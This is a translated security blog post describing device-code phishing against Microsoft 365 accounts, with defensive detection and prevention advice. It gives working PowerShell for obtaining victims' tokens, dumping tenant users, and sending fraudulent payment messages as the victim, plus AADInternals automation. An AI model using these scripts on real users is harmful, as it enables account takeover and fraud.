【翻译】Introducing a new phishing technique for compromising Office 365 accounts
针对 Microsoft 365 的全球持续钓鱼活动使用了各种钓鱼技术。目前攻击者主要利用伪造登录网站和 OAuth 应用授权。
在本博客中,我将介绍一种基于 Azure AD 设备代码认证流程的新型钓鱼技术。我还将提供如何检测被泄露凭证的使用以及如何预防使用这种新技术的钓鱼攻击的指导。
什么是钓鱼攻击
根据phishing.org的定义:
钓鱼攻击是一种网络犯罪,攻击者通过电子邮件、电话或短信冒充合法机构,诱使个人提供敏感数据,如个人身份信息、银行和信用卡详细信息以及密码。
当前钓鱼技术
犯罪分子使用多种钓鱼技术。接下来我将简要介绍两种与 Microsoft 365 和 Azure AD 相关的最常用技术。
伪造登录页面
这是最常见的钓鱼技术,攻击者创建模仿合法登录界面的登录页面。当受害者输入凭证时,攻击者可以使用这些凭证以受害者身份登录。
最近一些复杂的钓鱼网站已经能够通过认证 API 实时验证输入的凭证。
这种类型的钓鱼攻击可以通过启用多因素认证(MFA)轻松预防。MFA 包含在所有 Microsoft 365 和 Azure AD 订阅中。
注意! 使用 MFA 并不能完全防止钓鱼攻击。它只是阻止攻击者以受害者身份登录,因为攻击者无法执行 MFA。然而,如果受害者在其他服务上使用相同的密码,泄露的凭证仍可用于这些服务。
OAuth 授权
另一种常用技术是诱骗受害者授权应用程序访问其数据。这些应用程序通常被命名为模仿合法应用程序,如"0365 Access"或"Newsletter App":
:point_right: 查看@SantasaloJoosua的演示,了解这在现实生活中的工作原理。
这种类型的钓鱼攻击可以通过限制用户在 Azure AD 中注册新应用程序来减少:
还有一个预览功能可以防止用户授权应用程序:
新型钓鱼技术:设备代码认证
接下来,我将演示一种入侵 Office 365 / Azure AD 账户的新型钓鱼技术。
什么是设备代码认证
根据 Microsoft 文档,设备代码认证:
允许用户在输入受限设备(如智能电视、IoT 设备或打印机)上登录。为了实现此流程,设备会让用户在另一台设备上的浏览器中访问网页进行登录。用户登录后,设备可以根据需要获取访问令牌和刷新令牌。
流程如下:
-
用户在设备上启动支持设备代码流程的应用程序 -
应用程序连接到 Azure AD /devicecode 端点并发送 client_id 和 resource -
Azure AD 返回 device_code、user_code 和 verification_url -
设备向用户显示 verification_url (hxxps://microsoft.com/devicelogin) 和 user_code -
用户打开浏览器并浏览到 verification_url,在要求时输入 user_code 并登录 -
设备轮询 Azure AD,直到成功登录后获取 access_token 和 refresh_token
利用设备代码认证进行钓鱼
利用设备代码认证进行钓鱼的基本思路如下:
-
攻击者连接到 /devicecode 端点并发送 client_id 和 resource -
收到 verification_uri 和 user_code 后,创建包含 verification_uri 和 user_code 链接的电子邮件,并发送给受害者 -
受害者点击链接,提供代码并完成登录 -
攻击者收到 access_token 和 refresh_token,现在可以冒充受害者
1. 连接 /devicecode 端点
第一步是向 Azure AD devicecode 端点发送 HTTP POST 请求:
https://login.microsoftonline.com/common/oauth2/devicecode?api-version=1.0
我使用了以下参数。我选择了"Microsoft Office"的 client_id,因为它看起来是最合法的应用程序名称,并且可以用于访问其他资源。所选的 resource 提供了对 AAD Graph API 的访问权限,该 API 被 MSOnline PowerShell 模块使用。
|
|
---|---|
|
|
|
|
响应类似于以下内容:
{
"user_code": "CLZ8HAV2L",
"device_code": "CAQABAAEAAAB2UyzwtQEKR7-rWbgdcBZIGm0IlLxBn23EWIrgw7fkNIKyMdS2xoEg9QAntABbI5ILrinFM2ze8dVKdixlThVWfM8ZPhq9p7uN8tYIuMkfVJ29aUnUBTFsYCmJCsZHkIxtmwdCsIlKpOQij2lJZzphfZX8j0nktDpaHVB0zm-vqATogllBjA-t_ZM2B0cgcjQgAA",
"verification_url": "https://microsoft.com/devicelogin",
"expires_in": "900",
"interval": "5",
"message": "To sign in, use a web browser to open the page https://microsoft.com/devicelogin and enter the code CLZ8HAV2L to authenticate."
}
|
|
---|---|
|
|
|
|
|
|
|
|
|
|
|
|
以下是连接 devicelogin 端点的脚本:
# Create a body, we'll be using client id of "Microsoft Office"
$body=@{
"client_id" = "d3590ed6-52b3-4102-aeff-aad2292ab01c"
"resource" = "https://graph.windows.net"
}
# Invoke the request to get device and user codes
$authResponse = Invoke-RestMethod -UseBasicParsing -Method Post -Uri "https://login.microsoftonline.com/common/oauth2/devicecode?api-version=1.0" -Body $body
$user_code = $authResponse.user_code
注意! 我使用的是 1.0 版本,与官方文档中使用的 v2.0 流程略有不同。
2. 创建钓鱼邮件
现在我们已经获得了verification_url(始终相同)和user_code,可以创建并发送钓鱼邮件了。
注意! 发送邮件需要一个可用的 SMTP 服务。
以下是向受害者发送钓鱼邮件的脚本:
# Create a message
$message = @"
<html>
Hi!<br>
Here is the link to the <a href="https://microsoft.com/devicelogin">document</a>. Use the following code to access: <b>$user_code</b>. <br><br>
</html>
"@
# Send the email
Send-MailMessage -from "Don Director <[email protected]>" -to "[email protected]" -Subject "Don shared a document with you" -Body $message -SmtpServer $SMTPServer -BodyAsHtml
收到的钓鱼邮件如下图所示:
3. "钓鱼上钩" - 受害者执行认证
当受害者点击邮件中的链接时,会出现以下页面。我们可以看到,这是一个合法的 Microsoft URL。用户被要求输入邮件中的代码。
输入代码后,用户需要选择登录账户。如图所示,用户被要求登录Microsoft Office - 且不会请求任何授权同意。
注意! 如果用户当前未登录,则需要使用目标组织使用的任何认证方式进行登录。
成功认证后,用户会看到以下界面。
🚨 此时,用户的身份信息已被泄露! 🚨
4. 获取访问令牌 (access tokens)
攻击者的最后一步是获取访问令牌。在完成步骤 2 后,攻击者开始轮询 Azure AD 以获取认证状态。
攻击者需要每 5 秒向 Azure AD 令牌端点发送一次 HTTP POST 请求:
https://login.microsoftonline.com/Common/oauth2/token?api-version=1.0
请求必须包含以下参数(code 参数来自步骤 1 中的 device_code)
|
|
---|---|
|
|
|
|
|
|
|
|
如果认证仍在等待中,将返回 HTTP 错误 400 Bad Request,内容如下:
{
"error": "authorization_pending",
"error_description": "AADSTS70016: OAuth 2.0 device flow error. Authorization is pending. Continue polling.rnTrace ID: b35f261e-93cd-473b-9cf9-b81f30800600rnCorrelation ID: 8ee0ae8a-533f-4742-8334-e9ed939b083drnTimestamp: 2020-10-14 06:06:07Z",
"error_codes": [70016],
"timestamp": "2020-10-13 18:06:07Z",
"trace_id": "b35f261e-93cd-473b-9cf9-b81f30800600",
"correlation_id": "8ee0ae8a-533f-4742-8334-e9ed939b083d",
"error_uri": "https://login.microsoftonline.com/error?code=70016"
}
成功登录后,我们将获得以下响应(令牌已截断):
{
"token_type": "Bearer",
"scope": "user_impersonation",
"expires_in": "7199",
"ext_expires_in": "7199",
"expires_on": "1602662787",
"not_before": "1602655287",
"resource": "https://graph.windows.net",
"access_token": "eyJ0eXAi...HQOT1rvUEOEHLeQ",
"refresh_token": "0.AAAAxkwD...WxPoK0Iq6W",
"foci": "1",
"id_token": "eyJ0eXAi...widmVyIjoiMS4wIn0."
}
以下脚本连接到 Azure AD 令牌端点并轮询身份验证状态
$continue = $true
$interval = $authResponse.interval
$expires = $authResponse.expires_in
# Create body for authentication requests
$body=@{
"client_id" = "d3590ed6-52b3-4102-aeff-aad2292ab01c"
"grant_type" = "urn:ietf:params:oauth:grant-type:device_code"
"code" = $authResponse.device_code
"resource" = "https://graph.windows.net"
}
# Loop while authorisation is pending or until timeout exceeded
while($continue)
{
Start-Sleep -Seconds $interval
$total += $interval
if($total -gt $expires)
{
Write-Error "Timeout occurred"
return
}
# Try to get the response. Will give 40x while pending so we need to try&catch
try
{
$response = Invoke-RestMethod -UseBasicParsing -Method Post -Uri "https://login.microsoftonline.com/Common/oauth2/token?api-version=1.0 " -Body $body -ErrorAction SilentlyContinue
}
catch
{
# This is normal flow, always returns 40x unless successful
$details=$_.ErrorDetails.Message | ConvertFrom-Json
$continue = $details.error -eq "authorization_pending"
Write-Host $details.error
if(!$continue)
{
# Not pending so this is a real error
Write-Error $details.error_description
return
}
}
# If we got response, all okay!
if($response)
{
break # Exit the loop
}
}
现在我们可以使用 access token 来冒充受害者:
# Dump the tenant users to csv
Get-AADIntUsers -AccessToken $response.access_token | Export-Csv users.csv
我们还可以使用 refresh token(刷新令牌)获取其他服务的 access token(访问令牌),只要 client_id(客户端 ID)保持不变。
以下脚本用于获取 Exchange Online 的 access token(访问令牌)。
# Create body for getting access token for Exchange Online
$body=@{
"client_id" = "d3590ed6-52b3-4102-aeff-aad2292ab01c"
"grant_type" = "refresh_token"
"scope" = "openid"
"resource" = "https://outlook.office365.com"
"refresh_token" = $response.refresh_token
}
$EXOresponse = Invoke-RestMethod -UseBasicParsing -Method Post -Uri "https://login.microsoftonline.com/Common/oauth2/token" -Body $body -ErrorAction SilentlyContinue
# Send email as the victim
Send-AADIntOutlookMessage -AccessToken $EXOresponse.access_token -Recipient "[email protected]" -Subject "Overdue payment" -Message "Pay this <h2>asap!</h2>"
使用 AADInternals 进行钓鱼攻击
AADInternals(v0.4.4 或更高版本)提供了一个Invoke-AADIntPhishing函数,可以自动化钓鱼攻击过程。
钓鱼信息可以进行自定义,默认信息如下:
'<div>Hi!<br/>This is a message sent to you by someone who is using <ahref="https://o365blog.com/aadinternals">AADInternals</a> phishing function. <br/><br/>Here is a <ahref="{1}">link</a> you <b>should not click</b>.<br/><br/>If you still decide to do so, provide the following code when requested: <b>{0}</b>.</div>'
默认的钓鱼邮件内容:
默认的 Teams 消息内容:
邮件攻击
以下示例展示了如何使用自定义消息发送钓鱼邮件。获取的 token 将被保存到缓存中。
# Create a custom message
$message = '<html>Hi!<br/>Here is the link to the <a href="{1}">document</a>. Use the following code to access: <b>{0}</b>.</html>'
# Send a phishing email to recipients using a customised message and save the tokens to cache
Invoke-AADPhishing -Recipients "[email protected]","[email protected]" -Subject "Johnny shared a document with you" -Sender "Johnny Carson <[email protected]>" -SMTPServer smtp.myserver.local -Message $message -SaveToCache
ounter(lineounter(lineounter(lineounter(line
Code: CKDZ2BURF
Mail sent to: wvictim .com
...
Received access token for william.victim .com
现在我们可以使用缓存的 token 以受害者身份发送邮件。
# Send email as the victim
Send-AADIntOutlookMessage -Recipient "[email protected]" -Subject "Overdue payment" -Message "Pay this <h2>asap!</h2>"
我们还可以发送 Teams 消息,使付款请求显得更加紧急:
# Send Teams message as the victim
Send-AADIntTeamsMessage -Recipients "[email protected]" -Message "Just sent you an email about due payment. Have a look at it."
Sent MessageID
---- ---------
16/10/2020 14.40.23 132473328207053858
以下视频展示了如何使用 AADInternals 进行邮件钓鱼攻击。
Teams
AADInternals 支持以 Teams 聊天消息的形式发送钓鱼消息。
注意! 当受害者完成"认证"并获取到 token 后,AADInternals 会替换原始消息。可以通过 -CleanMessage 参数指定替换消息。
默认的替换消息为:
'<div>Hi!<br/>This is a message sent to you by someone who is using <ahref="https://o365blog.com/aadinternals">AADInternals</a> phishing function. <br/>If you are seeing this, <b>someone has stolen your identity!</b>.</div>'
以下示例展示了如何使用自定义消息发送钓鱼邮件,并将获取的 token 保存到缓存中。
# Get access token for Azure Core Management
Get-AADIntAccessTokenForAzureCoreManagement -SaveToCache
# Create the custom messages
$message = '<html>Hi!<br/>Here is the link to the <a href="{1}">document</a>. Use the following code to access: <b>{0}</b>.</html>'
$cleanMessage = '<html>Hi!<br/>Have a nice weekend.</html>'
# Send a teams message to the recipient using customised messages
Invoke-AADPhishing -Recipients "[email protected]" -Teams -Message $message -CleanMessage $cleanMessage -SaveToCache
Code: CKDZ2BURF
Teams message sent to: wvictim .com. Message id: 132473151989090816
...
Received access token for william.victim .com
以下视频展示了如何使用 AADInternals 进行 Teams 钓鱼攻击。
检测
首先,从 Azure AD 的角度来看,登录发生在身份验证发起的位置。这是一个非常重要的概念。这意味着在登录日志中,登录是从攻击者的位置和设备执行的,而不是用户的。
然而,使用刷新令牌获取的访问令牌不会出现在登录日志中!
下面是一个示例,我从 Azure VM(更具体地说,是从cloud shell)发起了钓鱼攻击。如我们所见,使用“Microsoft Office”客户端的登录发生在早上 7:23,IP 地址为 51.144.240.233。然而,在 7:27 获取 Exchange Online 访问令牌的操作并未显示在日志中。
🚨 如果有迹象表明用户从非典型位置登录,则用户帐户可能已被入侵。
预防
使用此技术防止钓鱼攻击的唯一有效方法是使用条件访问(CA)策略。具体来说,钓鱼攻击无法被阻止,但我们可以根据特定规则阻止用户登录。特别是基于位置和设备状态的政策对于保护帐户非常有效。这适用于当前使用的所有钓鱼技术。
然而,不可能覆盖所有场景。例如,如果用户使用 MFA 登录,强制对非法位置的登录进行 MFA 验证将无济于事。
缓解
如果用户已被入侵,可以撤销用户的刷新令牌,从而防止攻击者使用被入侵的刷新令牌获取新的访问令牌。
总结
据我所知,设备代码身份验证流程技术之前并未用于钓鱼攻击。
从攻击者的角度来看,这种方法有几个优点:
-
无需注册任何应用程序 -
无需设置用于伪造登录页面的钓鱼基础设施等 -
用户只需登录(通常是“Microsoft Office”)——无需请求同意 -
所有操作都在login.microsoftonline.com命名空间内进行 -
攻击者可以使用任何 client_id 和资源(尽管并非所有组合都有效) -
如果用户使用 MFA 登录,访问令牌也会包含 MFA 声明(这包括使用刷新令牌获取的访问令牌) -
预防需要条件访问(以及 Azure AD Premium P1/P2 许可证)
从攻击者的角度来看,这种方法至少有一个缺点:
-
用户代码仅在 15 分钟内有效
当然,攻击者可以通过向多个收件人发送钓鱼邮件来最小化时间限制——这将增加有人使用该代码登录的概率。
另一种方法是实现代理,当点击链接时启动身份验证(感谢@MrUn1k0d3r)。然而,这种方式将失去使用合法 microsoft.com URL 的优势。
应对钓鱼攻击的检查清单:
-
教育用户了解信息安全和钓鱼攻击 👩🎓 -
使用多因素认证 (MFA) 📱 -
使用 Intune 🛠 和条件访问 (CA) 🛑
参考资料
-
Phishing.org: 什么是钓鱼攻击? -
Microsoft: 工作原理:Azure 多因素认证 -
@SantasaloJoosua: 演示 - Azure AD/Office 365 中的非法同意授予攻击 -
Microsoft: Microsoft 身份平台和 OAuth 2.0 设备授权流程 -
Microsoft: 什么是条件访问? -
Microsoft: Revoke-AzureADUserAllRefreshToken -
@MrUn1k0d3r: Office 设备代码钓鱼代理
原文始发于微信公众号(securitainment):介绍一种入侵 Office 365 账户的新型钓鱼技术
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论